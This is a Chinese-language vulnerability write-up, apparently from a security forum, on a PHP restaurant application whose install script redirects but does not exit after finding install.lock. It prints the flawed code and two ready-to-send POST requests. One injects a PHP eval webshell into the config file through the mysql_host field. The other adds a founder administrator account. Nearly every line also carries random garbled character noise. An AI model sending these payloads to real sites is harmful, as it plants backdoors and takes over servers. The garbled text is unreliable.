问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
( w; t7 U B4 L3 K' q- T( `, [- F9 K& c& Z
<?php) y! ]% y; ?7 f1 p- G, ^" F
if(file_exists("../install.lock"))
2 t0 a' g& o7 `' L T* w {{
/ V) D0 w- z/ n! g/ _1 @ header("Location: ../");//没有退出' q; ^. ]& t# A, I; |6 u- ~
}$ Q0 y: H, Z: C5 s! M+ R
' _/ f) X; i8 i/ b//echo 'tst';exit;, Y. q- F. J0 M' {5 s/ h! B+ T
require_once("init.php");( v3 [6 c: h% w2 [9 n
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
3 n) B( w& ]( F/ y6 E{9 N- U% R+ Q# W1 B% m
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。/ y+ e$ ~1 U8 R. \% v
, F& f! s' I V5 n) m/ f/ g8 l1、getshell(很危险)* X2 j0 M2 g# a
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)3 m9 o7 R+ n: W o# s
{" y" b4 s& a. Y8 S" y$ W4 x
$smarty->assign("step",1);
) q- q& U) M) B* Q* U5 q6 } O$smarty->display("index.html");' ?7 F* ]+ Z* f! u1 L
}elseif($_REQUEST['step']==2)
- x3 z; _* M' T9 m: D7 h{! v7 H d" y) o9 X
$mysql_host=trim($_POST['mysql_host']);+ I0 W. Y7 _3 w% q7 X$ |7 A0 i
$mysql_user=trim($_POST['mysql_user']);
" M/ l$ O0 n6 Y, p, { $mysql_pwd=trim($_POST['mysql_pwd']);8 C4 { p6 f2 J4 U/ p
$mysql_db=trim($_POST['mysql_db']);
* Z8 C( V( S- | $tblpre=trim($_POST['tblpre']);7 A2 a$ e$ K8 }: T" X( @& B
$domain==trim($_POST['domain']);% Z2 _0 x% L4 \& J% e5 O8 @
$str="<?php \r\n";
1 l& H, Z$ h: n" U+ F $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
5 L; ]1 x" f# G; [) ` $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
3 A, ]5 `2 C8 ?0 ` $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
9 o# c2 }% ~7 X $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";9 [/ @6 T" x1 P1 U% X: U
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
6 p, D4 O" w) q/ j* A' `3 q9 [ $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";9 S* V3 |& ]3 l+ Z3 e2 L/ |
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
1 V, v8 A/ c3 |! I3 P h $str.='define("SKINS","default");'."\r\n";/ \: J5 ?( {) j9 c$ ]% z7 Q2 D" V
$str.='?>';
- X( ~. w1 k9 d& L: L4 ~- _7 z* z1 }: s file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件8 d$ Q+ }( R; J" h; I. o5 A
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
8 |* o3 D3 o; A* m& EPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
1 P1 l. a% r" g# U' }. xHost: 192.168.80.129$ `3 p7 q* n6 a5 w* F; c- C- V& B
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
- i# D d" A7 z% h6 ?5 KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
/ T5 }* g' I* N8 _# R0 {+ y4 y2 YAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
5 @; J4 ?- U: LAccept-Encoding: gzip, deflate9 r; [* V; G- n6 H* o
Referer: http://192.168.80.129/canting/install/index.php?step=14 x& C; t4 ~0 o/ E8 j+ F. {
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42* E- G) A# u+ Y$ O) |& d3 x( Z
Content-Type: application/x-www-form-urlencoded
! {" K' _9 M; `+ w$ h7 H+ Y( qContent-Length: 126' z/ a" N5 Y! K( l! M+ S7 H
$ S5 A' @- Z m( ?. @mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
5 W) k1 K+ g+ V5 } @4 B但是这个方法很危险,将导致网站无法运行。
" X7 \$ {( {/ F
/ I5 U6 G$ G$ e) c2、直接添加管理员
. m7 |6 d d; H# C# C$ }0 k& k5 O- U& G" E$ V. N p6 e
elseif($_REQUEST['step']==5)
6 b$ Y4 j4 J4 p6 V# c1 z/ ~{! E5 d, M ?. }
if($_POST)
9 |2 b! c* d9 E9 T1 T { require_once("../config/config.inc.php");/ H2 q+ S! W) y0 ^" E; H' c
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
! g4 y5 S$ q; Z8 W, n mysql_select_db(MYSQL_DB,$link);( z' W2 U, g+ l" @( l) `
mysql_query("SET NAMES ".MYSQL_CHARSET );* O* z* F( \& r* {& c) B% F) J
mysql_query("SET sql_mode=''");
. `" }0 _* s) C5 b: ]. L+ M4 p: u" _) c8 E c+ u7 t) Z% D, i
$adminname=trim($_POST['adminname']);
4 e$ G* `& D, p6 y7 i2 k9 B $pwd1=trim($_POST['pwd1']); ?4 R& ]! p. y
$pwd2=trim($_POST['pwd2']);6 F8 B& Q3 }% g: w T, ^9 T+ a5 X
if(empty($adminname))( `+ |4 S! t4 B/ G: j
{
% l$ r* Q6 x6 ~4 T( u; G
6 U/ m+ C5 Y% \/ M echo "<script>alert('管理员不能为空');history.go(-1);</script>";. @& ~, w% K; | D- j: `
exit();
1 ?" D6 F' G8 O }' A5 z3 j- z5 b( Q
if(($pwd1!=$pwd2) or empty($pwd1))
$ O* H, N: e7 K' D& j b3 `, h {' }/ _ a/ b" }$ L* ^8 @) E
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出2 _( R+ D5 U" A4 I
}3 T8 V4 r2 w9 p
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
& j3 ], k4 F3 K$ {7 Q R( M }
% B1 V. j& |% f! a3 @6 q这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
( M) B* X, g2 o ` L- GPOST /canting/install/index.php?m=index&step=5 HTTP/1.14 D: h( [1 h, d) ]
Host: 192.168.80.1296 T& S* r1 c; ^
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0, G) w2 y. h$ T, P: n* \
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" }4 |' u* `. f) T( f
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3+ b! g! K7 R3 ~9 U) N
Accept-Encoding: gzip, deflate
5 {# |/ F9 p4 G6 }Referer: http://www.2cto.com /canting/install/index.php?step=18 w( I. C6 W" Z# \/ X8 y' c6 w7 N
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
$ G- F ?7 g" Q1 U% Q, }+ vContent-Type: application/x-www-form-urlencoded
" U) r. Q: s/ U2 @0 y, C0 ]Content-Length: 46
( h9 n, X5 I7 X0 q4 K/ d
7 H# s3 m9 M$ iadminname=qingshen&pwd1=qingshen&pwd2=qingshen: J8 q6 _* Q% o5 H. M
|